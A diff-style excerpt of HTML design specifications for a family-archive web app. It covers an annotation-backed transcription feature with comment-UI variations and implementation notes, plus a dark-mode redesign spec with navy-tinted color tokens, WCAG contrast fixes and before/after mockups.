<div style="width:20px;height:20px;border-radius:50%;background:var(--navy);display:flex;align-items:center;justify-content:center;font-size:7px;font-weight:800;color:var(--mint);flex-shrink:0;">MR</div>
|
||||
<div style="flex:1;display:flex;gap:4px;">
|
||||
<input style="flex:1;font-size:8px;padding:5px 8px;border:1px solid var(--color-border);border-radius:4px;background:var(--color-page);" placeholder="Kommentar schreiben... (Block-Nr. wird automatisch zugeordnet)"/>
|
||||
<button style="font-size:7px;font-weight:600;padding:5px 10px;border-radius:4px;background:var(--navy);color:#fff;border:none;cursor:pointer;">Senden</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V3 · Unified comment timeline</h4>
|
||||
<pre>/* Simplest comment approach. The transcript editor is clean — no inline threads, no margins.
|
||||
* All discussion happens in the existing bottom panel Discussion tab.
|
||||
* Change: each comment gets an optional block_id + char_offset reference.
|
||||
* When the user is editing a block and posts a comment, the reference is auto-attached.
|
||||
* The reference renders as a clickable tag: "§2 'Breslau'" in accent-bg.
|
||||
* Clicking the tag: scrolls transcript to block + highlights text, scrolls PDF to annotation.
|
||||
* Block headers show a small orange chat-bubble count when comments reference that block.
|
||||
*
|
||||
* How comments get block references:
|
||||
* 1. Auto: if cursor is in a block when posting, that block is referenced.
|
||||
* 2. Manual: select text in a block → right-click → "In Diskussion erwähnen" → opens comment
|
||||
* input in bottom panel with the reference pre-filled.
|
||||
* 3. The §N tag in the comment is clickable — navigates to block + PDF region.
|
||||
*
|
||||
* Reuses: CommentThread (unchanged), bottom panel (unchanged), PanelDiscussion (add ref tag UI).
|
||||
* New: block_id + char_offset_start + char_offset_end on DocumentComment (nullable, backward compat).
|
||||
* Pro: least invasive, transcript stays clean. Con: discussion is physically separated from text. */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Comment reference tag</td></tr>
|
||||
<tr><td>Tag</td><td>6px/600, accent-bg, mint border, radius:3px</td><td>Shows: §N + quoted text (max 20 chars)</td></tr>
|
||||
<tr><td>Click</td><td>Scrolls transcript to block + PDF to annotation</td><td>Both get active/highlight state</td></tr>
|
||||
<tr><td>Auto-attach</td><td>If cursor in block when posting → ref auto-set</td><td>Can be removed before sending</td></tr>
|
||||
<tr class="grp"><td colspan="3">Block header badge</td></tr>
|
||||
<tr><td>Badge</td><td>orange chat-bubble icon + count, 6px</td><td>Click opens bottom panel filtered to that block</td></tr>
|
||||
<tr class="grp"><td colspan="3">Data model</td></tr>
|
||||
<tr><td>DocumentComment</td><td>+ block_id (nullable UUID), + char_start, + char_end</td><td>All nullable — backward compat with existing comments</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══ LLM IMPLEMENTATION GUIDE ═══ -->
|
||||
<div class="llm">
|
||||
<h2>Implementation Guide — Annotation-Backed Transcription</h2>
|
||||
|
||||
<h3>1. Variation Comparison</h3>
|
||||
<table>
|
||||
<thead><tr><th>Var.</th><th>Comment mechanism</th><th>Transcript editor</th><th>Reuse level</th><th>Complexity</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><strong>V1</strong></td><td>Inline threads (Google Docs-style)</td><td>Blocks with embedded thread UI</td><td>High (AnnotationLayer, CommentThread)</td><td>Medium</td></tr>
|
||||
<tr><td><strong>V2</strong></td><td>Margin notes (manuscript-style)</td><td>Blocks + 130px margin column</td><td>High (AnnotationLayer, CommentThread)</td><td>Medium</td></tr>
|
||||
<tr><td><strong>V3</strong></td><td>Bottom panel discussion + reference tags</td><td>Clean blocks, no inline comments</td><td>Very high (everything reused)</td><td>Low</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>2. Shared Foundation (all three variations)</h3>
|
||||
|
||||
<h4>Data model changes</h4>
|
||||
<ul>
|
||||
<li><strong><code>document_annotations</code></strong>: add <code>type VARCHAR DEFAULT 'comment'</code>. Values: <code>'comment'</code> (existing behavior) or <code>'transcription'</code>.</li>
|
||||
<li><strong>New table <code>transcription_blocks</code></strong>:
|
||||
<code>id UUID PK, annotation_id UUID FK, document_id UUID FK, text TEXT, label VARCHAR, sort_order INT, created_by UUID, updated_by UUID, updated_at TIMESTAMP</code></li>
|
||||
<li>The full transcript = <code>SELECT text FROM transcription_blocks WHERE document_id = ? ORDER BY sort_order</code>, concatenated.</li>
|
||||
<li><strong>Backward compatibility</strong>: the existing <code>Document.transcription</code> field becomes a computed read-only view (concatenation of blocks). Write operations go through blocks.</li>
|
||||
</ul>
|
||||
|
||||
<h4>Annotation color convention</h4>
|
||||
<table>
|
||||
<thead><tr><th>Type</th><th>Color</th><th>Hex</th><th>Behavior on click</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Comment</td><td>Yellow</td><td><code>#FFFF00</code></td><td>Opens AnnotationSidePanel (existing)</td></tr>
|
||||
<tr><td>Transcription</td><td>Turquoise</td><td><code>#00C7B1</code></td><td>Highlights matching block in transcript editor</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h4>Component reuse map</h4>
|
||||
<table>
|
||||
<thead><tr><th>Existing component</th><th>Change needed</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>AnnotationLayer.svelte</code></td><td>Pass <code>type</code> to <code>onDraw</code> callback. Render turquoise vs yellow based on annotation type. Add number badges for transcription annotations.</td></tr>
|
||||
<tr><td><code>PdfViewer.svelte</code></td><td>Split <code>handleAnnotationDraw</code> into two paths based on current mode (annotate vs transcribe). Route <code>handleAnnotationClick</code> to either side panel or transcript editor.</td></tr>
|
||||
<tr><td><code>AnnotationSidePanel.svelte</code></td><td>No change — still handles comment-type annotations.</td></tr>
|
||||
<tr><td><code>CommentThread.svelte</code></td><td>Reused in V1 (inline threads), V2 (margin note popovers), V3 (bottom panel). No changes needed to the component itself.</td></tr>
|
||||
<tr><td><code>AnnotateHintStrip.svelte</code></td><td>New variant or prop for transcribe mode copy: “Markiere eine Textpassage im Scan.”</td></tr>
|
||||
<tr><td><code>DocumentBottomPanel.svelte</code></td><td>V3: add block reference tags to discussion tab. V1/V2: remove Transcription tab (now inline).</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>3. Recommended Approach</h3>
|
||||
<p><strong>Start with V3</strong> (unified comment timeline) — it requires the least new UI and reuses the most existing components. The transcript editor is clean and focused. Comments flow naturally into the existing bottom panel Discussion tab. The only new UI element is the reference tag on comments.</p>
|
||||
<p>Then <strong>layer V2 margin notes as an enhancement</strong>: users who prefer seeing comments next to the text can toggle a “Randnotizen” mode that pulls relevant comments from the timeline into margin cards. This is purely a view layer change — the data model stays the same.</p>
|
||||
<p>V1 (inline threads) is the most feature-rich but also the most visually heavy. Consider it for a future iteration if users report that switching between transcript and discussion tab is too much friction.</p>
|
||||
|
||||
<h3>4. Workflow: Draw-to-Transcribe</h3>
|
||||
<ol>
|
||||
<li>User enters <strong>Transcribe mode</strong> (topbar button, turquoise). Hint strip appears.</li>
|
||||
<li>Crosshair cursor on PDF (same as annotate mode). User draws a rectangle around a handwriting passage.</li>
|
||||
<li><code>AnnotationLayer.onDraw(rect)</code> fires. <code>PdfViewer</code> calls <code>POST /api/documents/{id}/annotations</code> with <code>type: "transcription"</code>.</li>
|
||||
<li>Backend creates <code>DocumentAnnotation</code> + <code>TranscriptionBlock</code> (empty text, next sort_order).</li>
|
||||
<li>Frontend receives the created annotation + block. The transcript editor scrolls to the new empty block and focuses it.</li>
|
||||
<li>User types the transcription. Auto-save debounces to <code>PATCH /api/transcription-blocks/{blockId}</code>.</li>
|
||||
<li>Repeat: draw next rectangle, type next block.</li>
|
||||
</ol>
|
||||
|
||||
<h3>5. Accessibility</h3>
|
||||
<ul>
|
||||
<li>Transcription blocks: <code>role="region"</code> with <code>aria-label="Transkriptions-Block N: [label]"</code></li>
|
||||
<li>Block body: <code>contenteditable</code> with <code>aria-multiline="true"</code></li>
|
||||
<li>Number badges on PDF: <code>aria-label="Transkriptions-Bereich N"</code></li>
|
||||
<li>Comment reference tags: <code>role="link"</code> with descriptive <code>aria-label</code></li>
|
||||
<li>Focus order: hint strip → PDF (for drawing) → transcript blocks (in sort order) → bottom panel</li>
|
||||
<li>Keyboard: Tab between blocks, Enter to edit, Escape to deselect. Ctrl+Shift+N to create new block (prompts draw on PDF).</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
689
docs/specs/dark-mode-redesign-spec.html
Normal file
689
docs/specs/dark-mode-redesign-spec.html
Normal file
@@ -0,0 +1,689 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Dark Mode — Design Spec · Familienarchiv</title>
|
||||
<style>
|
||||
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
|
||||
body{font-family:'Helvetica Neue',Arial,sans-serif;background:#ECEAE4;color:#1A1A1A;line-height:1.5}
|
||||
.doc{max-width:1440px;margin:0 auto;padding:48px 32px}
|
||||
|
||||
/* ── Masthead ─── */
|
||||
.mast{background:#012851;border-radius:10px;padding:32px 40px;margin-bottom:48px}
|
||||
.mast-top{display:flex;align-items:flex-start;justify-content:space-between;gap:24px;margin-bottom:16px}
|
||||
.mast h1{font-size:22px;font-weight:900;color:#fff;letter-spacing:-.4px;margin-bottom:6px}
|
||||
.mast p{font-size:12px;color:rgba(255,255,255,.55);max-width:620px;line-height:1.7}
|
||||
.mast-badge{font-size:9px;font-weight:800;padding:3px 9px;border-radius:20px;text-transform:uppercase;letter-spacing:.8px;white-space:nowrap;flex-shrink:0;margin-top:4px}
|
||||
.mb-spec{background:#a1dcd8;color:#012851}
|
||||
.decisions{display:grid;grid-template-columns:repeat(4,1fr);gap:10px;margin-top:20px;border-top:1px solid rgba(255,255,255,.12);padding-top:16px}
|
||||
.dec{background:rgba(255,255,255,.07);border-radius:6px;padding:10px 12px}
|
||||
.dec-label{font-size:7px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:rgba(255,255,255,.35);margin-bottom:5px}
|
||||
.dec-value{font-size:9.5px;font-weight:700;color:#fff;line-height:1.5}
|
||||
|
||||
/* ── Section headings ─── */
|
||||
.sec{margin-bottom:64px}
|
||||
.sec+.sec{border-top:2px dashed #C8C4BE;padding-top:56px}
|
||||
.sec-h{font-size:11px;font-weight:800;text-transform:uppercase;letter-spacing:1.2px;color:#888;margin-bottom:20px;display:flex;align-items:center;gap:10px}
|
||||
.sec-h::after{content:'';flex:1;height:1px;background:#D8D4CE}
|
||||
.sec-num{background:#012851;color:#fff;font-size:9px;font-weight:900;padding:2px 7px;border-radius:10px}
|
||||
|
||||
/* ── Layout helpers ─── */
|
||||
.sg{display:grid;gap:20px;align-items:start}
|
||||
.sg-2{grid-template-columns:1fr 1fr}
|
||||
.sg-3{grid-template-columns:1fr 1fr 1fr}
|
||||
.sg-tok{grid-template-columns:1fr 1fr 1fr 1fr}
|
||||
.sb{display:flex;flex-direction:column}
|
||||
.sl{font-size:9px;font-weight:800;color:#888;text-transform:uppercase;letter-spacing:1.5px;margin-bottom:6px;display:flex;align-items:center;gap:6px}
|
||||
.sc{font-size:8.5px;color:#888;margin-top:6px;font-style:italic;line-height:1.5}
|
||||
|
||||
/* ── Issue callouts ─── */
|
||||
.issue{background:#FFF7ED;border:1px solid #FDBA74;border-radius:8px;padding:16px 20px;margin-bottom:12px}
|
||||
.issue-id{font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#C2410C;margin-bottom:4px}
|
||||
.issue-title{font-size:13px;font-weight:700;color:#1A1A1A;margin-bottom:6px}
|
||||
.issue-body{font-size:11px;color:#7C2D12;line-height:1.6}
|
||||
.issue-body code{background:rgba(0,0,0,.06);border-radius:3px;padding:1px 5px;font-size:10px;font-family:monospace}
|
||||
.issue-fix{background:#F0FDF4;border:1px solid #86EFAC;border-radius:6px;padding:10px 14px;margin-top:10px;font-size:11px;color:#14532D;line-height:1.6}
|
||||
.issue-fix strong{font-weight:800}
|
||||
.issue-fix code{background:rgba(0,0,0,.06);border-radius:3px;padding:1px 5px;font-size:10px;font-family:monospace}
|
||||
|
||||
/* ── Token table ─── */
|
||||
.tok-table{width:100%;border-collapse:collapse;font-size:10px}
|
||||
.tok-table th{text-align:left;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;padding:6px 8px;border-bottom:2px solid #D8D4CE}
|
||||
.tok-table td{padding:7px 8px;border-bottom:1px solid #E8E4DF;vertical-align:middle}
|
||||
.tok-table tr:hover td{background:rgba(0,0,0,.025)}
|
||||
.swatch{display:inline-block;width:20px;height:20px;border-radius:4px;border:1px solid rgba(0,0,0,.12);vertical-align:middle;margin-right:6px;flex-shrink:0}
|
||||
.swatch-pair{display:flex;align-items:center;gap:6px}
|
||||
.hex{font-family:monospace;font-size:10px}
|
||||
.change-arrow{color:#888;font-size:9px;margin:0 4px}
|
||||
.tag-bad{display:inline-block;font-size:7.5px;font-weight:800;text-transform:uppercase;letter-spacing:.6px;padding:1px 5px;border-radius:3px;background:#FEE2E2;color:#991B1B}
|
||||
.tag-ok{display:inline-block;font-size:7.5px;font-weight:800;text-transform:uppercase;letter-spacing:.6px;padding:1px 5px;border-radius:3px;background:#D1FAE5;color:#065F46}
|
||||
.tag-new{display:inline-block;font-size:7.5px;font-weight:800;text-transform:uppercase;letter-spacing:.6px;padding:1px 5px;border-radius:3px;background:#DBEAFE;color:#1E3A5F}
|
||||
|
||||
/* ── Browser chrome ─── */
|
||||
.wf{background:#fff;border:2px solid #B8B4AE;border-radius:10px;overflow:hidden;box-shadow:0 4px 18px rgba(0,0,0,.08)}
|
||||
.wf-bar{height:24px;background:#E8E4DF;border-bottom:1px solid #C8C4BE;display:flex;align-items:center;padding:0 9px;gap:4px}
|
||||
.dot{width:7px;height:7px;border-radius:50%;background:#C8C4BE}
|
||||
.dot.r{background:#F87171}.dot.y{background:#FCD34D}.dot.g{background:#4ADE80}
|
||||
.urlbar{flex:1;height:11px;background:#D8D4CE;border-radius:3px;margin-left:6px;display:flex;align-items:center;padding:0 5px}
|
||||
.urlbar span{font-size:7.5px;color:#888;font-family:monospace}
|
||||
|
||||
/* ── Screen mockup — shared header ─── */
|
||||
.HDR{height:4px;background:#a1dcd8}
|
||||
.NAV{height:44px;display:flex;align-items:center;padding:0 16px;gap:14px}
|
||||
.NAV-logo{font-size:9px;font-weight:900;letter-spacing:.8px;font-family:'Helvetica Neue',sans-serif}
|
||||
.NAV-link{font-size:7px;font-weight:700;text-transform:uppercase;letter-spacing:.5px;opacity:.5}
|
||||
.NAV-link.on{opacity:1;border-bottom:2px solid #a1dcd8;padding-bottom:1px}
|
||||
.NAV-r{margin-left:auto;display:flex;gap:8px;align-items:center;font-size:7px;font-weight:700;letter-spacing:.5px;opacity:.6}
|
||||
.ico-sm{width:14px;height:14px;border-radius:3px;opacity:.7}
|
||||
|
||||
/* ── CURRENT dark mockup ─── */
|
||||
.dark-bad .NAV{background:#012851;color:#fff}
|
||||
.dark-bad .NAV-logo{color:#fff}
|
||||
.dark-bad .NAV-r{color:#fff}
|
||||
.dark-body-bad{background:#0d0d0d;padding:0;display:flex;flex-direction:column}
|
||||
.dark-filter-bad{background:#1a1a1a;padding:7px 14px;border-bottom:1px solid #3d3d3d;display:flex;gap:8px;align-items:center}
|
||||
.dark-filter-bad .fl{font-size:7px;font-weight:800;text-transform:uppercase;letter-spacing:.5px;color:#6b7280}
|
||||
.dark-filter-bad .fv{font-size:9px;color:#9ca3af;background:#242424;border:1px solid #3d3d3d;border-radius:3px;padding:3px 7px}
|
||||
.dark-timeline-bad{flex:1;padding:10px 14px;background:#0d0d0d;display:flex;flex-direction:column;gap:2px}
|
||||
.dark-yr-bad{font-size:8px;font-weight:800;color:#f0efe9;padding:6px 0 3px;letter-spacing:.5px}
|
||||
.dark-yr-count-bad{font-size:7px;color:#6b7280;margin-left:5px}
|
||||
.dark-item-bad{background:#1a1a1a;border:1px solid #3d3d3d;border-radius:3px;padding:7px 10px;margin-bottom:2px}
|
||||
.dark-item-bad .di-id{font-size:7.5px;font-weight:700;color:#a1dcd8;font-family:monospace}
|
||||
.dark-item-bad .di-title{font-size:9px;font-weight:600;color:#f0efe9;margin:1px 0}
|
||||
.dark-item-bad .di-meta{font-size:7.5px;color:#6b7280}
|
||||
|
||||
/* ── PROPOSED dark mockup ─── */
|
||||
.dark-good .NAV{background:#01335e;color:#fff;border-bottom:1px solid #0a3d6b}
|
||||
.dark-good .NAV-logo{color:#fff}
|
||||
.dark-good .NAV-r{color:#fff}
|
||||
.dark-body-good{background:#010e1e;padding:0;display:flex;flex-direction:column}
|
||||
.dark-filter-good{background:#011526;padding:7px 14px;border-bottom:1px solid #0d3358;display:flex;gap:8px;align-items:center}
|
||||
.dark-filter-good .fl{font-size:7px;font-weight:800;text-transform:uppercase;letter-spacing:.5px;color:#8b97a5}
|
||||
.dark-filter-good .fv{font-size:9px;color:#a1dcd8;background:#011e38;border:1px solid #0d3358;border-radius:3px;padding:3px 7px}
|
||||
.dark-timeline-good{flex:1;padding:10px 14px;background:#010e1e;display:flex;flex-direction:column;gap:2px}
|
||||
.dark-yr-good{font-size:8px;font-weight:800;color:#f0efe9;padding:6px 0 3px;letter-spacing:.5px}
|
||||
.dark-yr-count-good{font-size:7px;color:#8b97a5;margin-left:5px}
|
||||
.dark-item-good{background:#011526;border:1px solid #0d3358;border-radius:3px;padding:7px 10px;margin-bottom:2px}
|
||||
.dark-item-good .di-id{font-size:7.5px;font-weight:700;color:#a1dcd8;font-family:monospace}
|
||||
.dark-item-good .di-title{font-size:9px;font-weight:600;color:#f0efe9;margin:1px 0}
|
||||
.dark-item-good .di-meta{font-size:7.5px;color:#8b97a5}
|
||||
|
||||
/* ── Contrast checker ─── */
|
||||
.ctest{display:grid;grid-template-columns:repeat(3,1fr);gap:10px}
|
||||
.ct{border-radius:6px;padding:12px;display:flex;flex-direction:column;gap:3px}
|
||||
.ct-label{font-size:7.5px;font-weight:800;text-transform:uppercase;letter-spacing:.6px;opacity:.6}
|
||||
.ct-sample{font-size:13px;font-weight:600;margin:4px 0}
|
||||
.ct-ratio{font-size:9px;font-weight:700}
|
||||
.ct-pass{color:#4ADE80}
|
||||
.ct-fail{color:#F87171}
|
||||
|
||||
/* ── Responsive note ─── */
|
||||
.note{background:#EFF6FF;border:1px solid #BFDBFE;border-radius:6px;padding:12px 16px;font-size:11px;color:#1E3A5F;line-height:1.6;margin-top:16px}
|
||||
.note strong{font-weight:800}
|
||||
|
||||
/* ── Spec disclaimer ─── */
|
||||
.spec-disclaimer{background:#FFF8E1;border:1.5px solid #FFC107;border-radius:6px;padding:11px 16px;font-size:11px;color:#6D4C00;margin-bottom:32px;line-height:1.6}
|
||||
.spec-disclaimer strong{font-weight:800}
|
||||
|
||||
/* ── Agent Implementation Reference ─── */
|
||||
.impl-ref{background:#0d1117;border-radius:8px;margin-top:20px;overflow:hidden;border:1px solid #30363d}
|
||||
.impl-ref-hdr{background:#161b22;padding:9px 16px;font-size:9.5px;font-weight:800;color:#f0883e;border-bottom:1px solid #30363d;display:flex;align-items:center;gap:8px;letter-spacing:.4px;text-transform:uppercase}
|
||||
.impl-ref-hdr::before{content:'⚙';font-size:12px}
|
||||
.impl-ref-hdr span{color:rgba(240,136,62,.55);font-weight:400;margin-left:auto;font-size:9px;text-transform:none;letter-spacing:0}
|
||||
.impl-ref table{width:100%;border-collapse:collapse;font-size:10px}
|
||||
.impl-ref th{text-align:left;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#8b949e;padding:8px 14px;border-bottom:1px solid #21262d}
|
||||
.impl-ref td{padding:6px 14px;border-bottom:1px solid #161b22;vertical-align:top;line-height:1.6;color:#c9d1d9}
|
||||
.impl-ref tr:last-child td{border-bottom:none}
|
||||
.impl-ref td:first-child{color:#79c0ff;font-weight:700;white-space:nowrap;width:190px}
|
||||
.impl-ref td code{font-family:'SFMono-Regular',Consolas,monospace;font-size:9.5px;background:#161b22;color:#a5d6ff;padding:1px 5px;border-radius:3px;white-space:nowrap}
|
||||
.impl-ref .ir-px{color:#7ee787;font-family:monospace;font-size:9.5px}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="doc">
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════
|
||||
MASTHEAD
|
||||
════════════════════════════════════════════════════════════ -->
|
||||
<div class="mast">
|
||||
<div class="mast-top">
|
||||
<div>
|
||||
<h1>Dark Mode — Design Spec</h1>
|
||||
<p>The current dark mode implementation uses neutral blacks (#0d0d0d, #1a1a1a, #242424) that have no connection to the De Gruyter Brill brand palette. This spec defines navy-tinted dark backgrounds derived from brand-navy, fixes an ink-3 WCAG failure in the manual override, and improves header prominence in dark context.</p>
|
||||
</div>
|
||||
<span class="mast-badge mb-spec">Design Spec</span>
|
||||
</div>
|
||||
<div class="decisions">
|
||||
<div class="dec">
|
||||
<div class="dec-label">Root cause</div>
|
||||
<div class="dec-value">canvas/surface tokens are neutral black — unrelated to brand-navy (#012851)</div>
|
||||
</div>
|
||||
<div class="dec">
|
||||
<div class="dec-label">WCAG issue</div>
|
||||
<div class="dec-value">ink-3 (#6b7280) on surface (#1a1a1a) = 3.2:1 — fails AA (4.5:1 required)</div>
|
||||
</div>
|
||||
<div class="dec">
|
||||
<div class="dec-label">Fix strategy</div>
|
||||
<div class="dec-value">Derive dark backgrounds from navy: #010e1e / #011526 / #011e38 / #011a30</div>
|
||||
</div>
|
||||
<div class="dec">
|
||||
<div class="dec-label">Header</div>
|
||||
<div class="dec-value">Lighten header to #01335e in dark mode — navy stands out from navy-dark canvas</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="spec-disclaimer">
|
||||
<strong>📐 Mockup scale notice —</strong> all font-size, height, and padding values in the mockup CSS below are at ~55% of actual implementation values. <strong>Do not copy sizes from mockup CSS.</strong> Section 5 contains the exact CSS diff to apply.
|
||||
</div>
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════
|
||||
1. ISSUE CATALOG
|
||||
════════════════════════════════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">1</span> Issue Catalog</div>
|
||||
|
||||
<div class="issue">
|
||||
<div class="issue-id">Issue 01 · Critical</div>
|
||||
<div class="issue-title">Canvas color is neutral black — violates brand palette</div>
|
||||
<div class="issue-body">
|
||||
<code>--c-canvas: #0d0d0d</code> is the <em>brand-dark</em> value, defined in the styleguide as a <strong>text color</strong> ("near-black text when maximum contrast is needed"), not a background. Using it as a page background has no connection to the brand-navy anchor.<br><br>
|
||||
The De Gruyter Brill identity is built on navy as its primary color. Dark mode should be the night version of navy, not a generic charcoal.
|
||||
</div>
|
||||
<div class="issue-fix">
|
||||
<strong>Fix:</strong> Replace with <code>--c-canvas: #010e1e</code> — a very dark navy (brand-navy darkened ~94%). Visually near-black but warm and navy-tinted.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="issue">
|
||||
<div class="issue-id">Issue 02 · Critical</div>
|
||||
<div class="issue-title">Surface, overlay and muted are neutral grays — no brand identity</div>
|
||||
<div class="issue-body">
|
||||
<code>#1a1a1a</code>, <code>#242424</code>, <code>#252525</code> are neutral warm-grays. On screen they look identical to any generic dark app (Notion, GitHub dark, VS Code). An academic publisher's dark mode should feel like a candlelit reading room, not a generic dark UI.
|
||||
</div>
|
||||
<div class="issue-fix">
|
||||
<strong>Fix:</strong><br>
|
||||
<code>--c-surface: #011526</code> (card/panel backgrounds — dark navy)<br>
|
||||
<code>--c-overlay: #011e38</code> (dropdowns/modals — slightly lighter navy)<br>
|
||||
<code>--c-muted: #011a30</code> (subtle inset areas — between canvas and surface)
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="issue">
|
||||
<div class="issue-id">Issue 03 · Critical — WCAG AA Failure</div>
|
||||
<div class="issue-title">ink-3 token inconsistency + contrast failure in manual dark override</div>
|
||||
<div class="issue-body">
|
||||
The <code>@media (prefers-color-scheme: dark)</code> rule correctly sets <code>--c-ink-3: #8b97a5</code>.<br>
|
||||
But the <code>:root[data-theme='dark']</code> manual override (used by the theme toggle button) sets <code>--c-ink-3: #6b7280</code> — the same value as light mode.<br><br>
|
||||
<code>#6b7280</code> on <code>#1a1a1a</code> = <strong>3.2:1</strong> — fails WCAG AA (minimum 4.5:1 for normal text, 3:1 for large text). This affects all secondary labels, metadata, and date text.
|
||||
</div>
|
||||
<div class="issue-fix">
|
||||
<strong>Fix:</strong> In <code>:root[data-theme='dark']</code>, change <code>--c-ink-3: #6b7280</code> → <code>--c-ink-3: #8b97a5</code> to match the media query version. On the new navy surface (#011526), #8b97a5 gives ≈ 7.1:1 — WCAG AAA.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="issue">
|
||||
<div class="issue-id">Issue 04 · High</div>
|
||||
<div class="issue-title">Header loses visual prominence in dark mode</div>
|
||||
<div class="issue-body">
|
||||
In light mode, the brand-navy header (<code>#012851</code>) stands out boldly against the white/sand canvas — contrast ratio ~14:1. In dark mode, that same header against <code>#0d0d0d</code> canvas = only ~2.1:1. The header blends into the page and loses its anchoring function.
|
||||
</div>
|
||||
<div class="issue-fix">
|
||||
<strong>Fix:</strong> In dark mode, use <code>bg-[#01335e]</code> for the header nav bar — a mid-navy that sits visibly above the dark canvas. The 4px purple accent strip and the <code>border-b border-[#0a3d6b]</code> bottom border further separate it. No conditional class needed — the <code>:root[data-theme='dark']</code> rule should not override the static brand-navy class; instead, use the CSS variable <code>--c-header</code> for the header background.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="issue">
|
||||
<div class="issue-id">Issue 05 · High</div>
|
||||
<div class="issue-title">Timeline row boundaries nearly invisible</div>
|
||||
<div class="issue-body">
|
||||
Timeline items use <code>bg-surface</code> (<code>#1a1a1a</code>) on a <code>bg-canvas</code> (<code>#0d0d0d</code>) background — a lightness delta of only ~10 points. At a glance the rows merge into a single dark mass. The borders (<code>#3d3d3d</code>) help slightly but are also neutral gray.
|
||||
</div>
|
||||
<div class="issue-fix">
|
||||
<strong>Fix:</strong> With the navy-tinted tokens, <code>bg-surface</code> (<code>#011526</code>) against <code>bg-canvas</code> (<code>#010e1e</code>) has a clear navy-blue difference in hue, not just lightness. The border becomes <code>--c-line: #0d3358</code> — a visible navy border that reads as a brand element, not a neutral separator.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="issue">
|
||||
<div class="issue-id">Issue 06 · Medium</div>
|
||||
<div class="issue-title">Border colors are neutral gray with no brand connection</div>
|
||||
<div class="issue-body">
|
||||
<code>--c-line: #3d3d3d</code> and <code>--c-line-2: #2e2e2e</code> are neutral grays. Every border — card edges, input fields, dividers — looks like generic dark UI.
|
||||
</div>
|
||||
<div class="issue-fix">
|
||||
<strong>Fix:</strong><br>
|
||||
<code>--c-line: #0d3358</code> (primary borders — dark navy-blue)<br>
|
||||
<code>--c-line-2: #092843</code> (subtle borders — deeper navy)
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════
|
||||
2. BEFORE / AFTER — SCREEN COMPARISON
|
||||
════════════════════════════════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">2</span> Before / After — Screen Mockup</div>
|
||||
|
||||
<div class="sg sg-2" style="align-items:stretch">
|
||||
|
||||
<!-- CURRENT (bad) -->
|
||||
<div class="sb">
|
||||
<div class="sl">Current dark mode <span class="sz">Neutral black</span></div>
|
||||
<div class="wf">
|
||||
<div class="wf-bar"><div class="dot r"></div><div class="dot y"></div><div class="dot g"></div><div class="urlbar"><span>localhost:5173/korrespondenz</span></div></div>
|
||||
<div class="dark-bad">
|
||||
<div class="HDR" style="background:#a1dcd8"></div>
|
||||
<div class="NAV">
|
||||
<span class="NAV-logo">FAMILIENARCHIV</span>
|
||||
<span class="NAV-link">Documents</span>
|
||||
<span class="NAV-link">Persons</span>
|
||||
<span class="NAV-link on">Correspondence</span>
|
||||
<div class="NAV-r">DE · EN · ES ☀ 🔔 👤</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dark-body-bad">
|
||||
<div class="dark-filter-bad">
|
||||
<div>
|
||||
<div class="fl">Person</div>
|
||||
<div class="fv">Walter de Gruyter</div>
|
||||
</div>
|
||||
<div style="margin-left:8px">
|
||||
<div class="fl">Period</div>
|
||||
<div class="fv">From … To …</div>
|
||||
</div>
|
||||
<div style="margin-left:8px">
|
||||
<div class="fl">Korrespondent — Optional</div>
|
||||
<div class="fv">Alle Korrespondenten</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dark-timeline-bad">
|
||||
<div class="dark-yr-bad">2012 <span class="dark-yr-count-bad">1 Brief</span></div>
|
||||
<div class="dark-item-bad">
|
||||
<div class="di-id">W-0325</div>
|
||||
<div class="di-title">15. Juli 2012 — Allerheiligen</div>
|
||||
<div class="di-meta">15. Juli 2012 · Allerheiligen · Hans de Gruyter</div>
|
||||
</div>
|
||||
<div class="dark-yr-bad">1940 <span class="dark-yr-count-bad">1 Brief</span></div>
|
||||
<div class="dark-item-bad">
|
||||
<div class="di-id">W-0968</div>
|
||||
<div class="di-title">31. Mai 1940 — Belgard</div>
|
||||
<div class="di-meta">31. Mai 1940 · Belgard · Gertrud von Rofden</div>
|
||||
</div>
|
||||
